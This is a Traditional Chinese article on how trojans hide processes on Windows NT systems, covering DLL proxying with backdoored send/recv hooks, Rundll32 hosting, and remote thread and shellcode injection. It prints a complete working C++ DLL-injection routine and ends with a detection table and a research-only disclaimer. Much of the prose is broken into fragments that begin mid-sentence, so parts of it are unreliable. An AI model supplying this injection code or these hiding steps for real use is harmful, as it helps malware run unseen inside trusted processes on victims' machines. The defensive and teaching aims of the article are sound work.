在 Windows 9x 時代,將進程註冊為系統服務即可從工作管理器隱形;但在 Windows NT 系列(NT 4.0、2000、XP 及後續版本)中,任務管理器直接枚舉核心物件,傳統隱形手段失效。本文系統剖析 NT 核心下木馬隱藏進程的三大演進路徑:**API 欺騙、DLL 寄生、遠端執行緒注入**,並提供核心代碼實現與偵測對策。
LoadLibrary 載入,進程列表僅顯示宿主進程。explorer.exe),即可達到「隱形」與「提權」雙重效果。Rundll32.exe MyMalicious.dll,EntryPoint
Rundll32.exe,而非木馬檔名。wsock32.dll),原檔改名 wsockold.dll。#pragma comment(linker, "/export:func=wsockold.func"))。send/recv)植入後門邏輯。防禦:Windows 2000 引入 %SystemRoot%\System32\dllcache + Windows File Protection (WFP),自動還原受保護 DLL。現代系統更有簽名驗證、完整性等級,此手法已極難存活。
核心流程:OpenProcess → VirtualAllocEx → WriteProcessMemory → CreateRemoteThread(LoadLibraryW) → WaitForSingleObject。
BOOL InjectDll(DWORD dwPid, LPCWSTR pszDllPath) {
// 1. 開啟目標進程,需 VM_OPERATION | VM_WRITE | CREATE_THREAD
HANDLE hProc = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwPid);
if (!hProc) return FALSE;
// 2. 在目標進程配置記憶體寫入 DLL 完整路徑
SIZE_T cb = (wcslen(pszDllPath) + 1) * sizeof(WCHAR);
LPVOID pRemotePath = VirtualAllocEx(hProc, nullptr, cb, MEM_COMMIT, PAGE_READWRITE);
if (!pRemotePath) { CloseHandle(hProc); return FALSE; }
WriteProcessMemory(hProc, pRemotePath, (LPCVOID)pszDllPath, cb, nullptr);
// 3. 取得 LoadLibraryW 位址 (Kernel32 在所有進程基址相同)
PTHREAD_START_ROUTINE pLoadLib = (PTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(L"Kernel32"), "LoadLibraryW");
// 4. 建立遠端執行緒執行 LoadLibraryW(pRemotePath)
HANDLE hThread = CreateRemoteThread(hProc, nullptr, 0, pLoadLib, pRemotePath, 0, nullptr);
if (!hThread) { VirtualFreeEx(hProc, pRemotePath, 0, MEM_RELEASE); CloseHandle(hProc); return FALSE; }
// 5. 等待執行緒結束並清理
WaitForSingleObject(hThread, INFINITE);
VirtualFreeEx(hProc, pRemotePath, 0, MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProc);
return TRUE;
}
Kernel32.dll 為系統核心模組,ASLR 啟用前所有進程基址相同;ASLR 下需透過 GetModuleHandleEx 或共享區段取得實際位址。DllMain(DLL_PROCESS_ATTACH) 即在宿主進程上下文執行,擁有宿主完整權限。VirtualAllocEx 配置 PAGE_EXECUTE_READWRITE 記憶體。WriteProcessMemory 寫入位置無關殼碼。CreateRemoteThread 直接指向殼碼入口,無 LoadLibrary 痕跡。SuspendThread → GetThreadContext → 修改 RIP/EIP → ResumeThread,劫持現有執行緒。| 層面 | 手段 |
|---|---|
| 進程模組枚舉 | PSAPI EnumProcessModulesEx 列舉所有載入 DLL,比對白名單/簽名。 |
| 記憶體掃描 | 掃描 MEM_PRIVATE | PAGE_EXECUTE_READWRITE 異常區域,檢查 PE 標頭殘留。 |
| API 監控 | ETW / Kernel Callback 監控 OpenProcess, VirtualAllocEx, CreateRemoteThread 可疑序列。 |
| 完整性驗證 | 啟用 HVCI (Hypervisor-Protected Code Integrity)、CFG、ACG 防止非簽名碼執行。 |
| 行為分析 | EDR 監控 explorer.exe 異常網路連線、檔案寫入、登錄修改。 |
從 Rundll32 代理到 CreateRemoteThread 注入,再到無檔案記憶體殼碼,木馬隱形技術始終圍繞「在受信進程上下文執行任意碼」這一核心。現代防禦體系已從「檔案掃描」轉向「行為監控 + 記憶體完整性驗證」。開發者與防禦者皆應深入理解 Windows 核心物件模型、執行緒調度與記憶體管理,方能在攻防博弈中保持優勢。
聲明:本文僅供安全研究與防禦教學,嚴禁用於惡意軟體開發或非法滲透。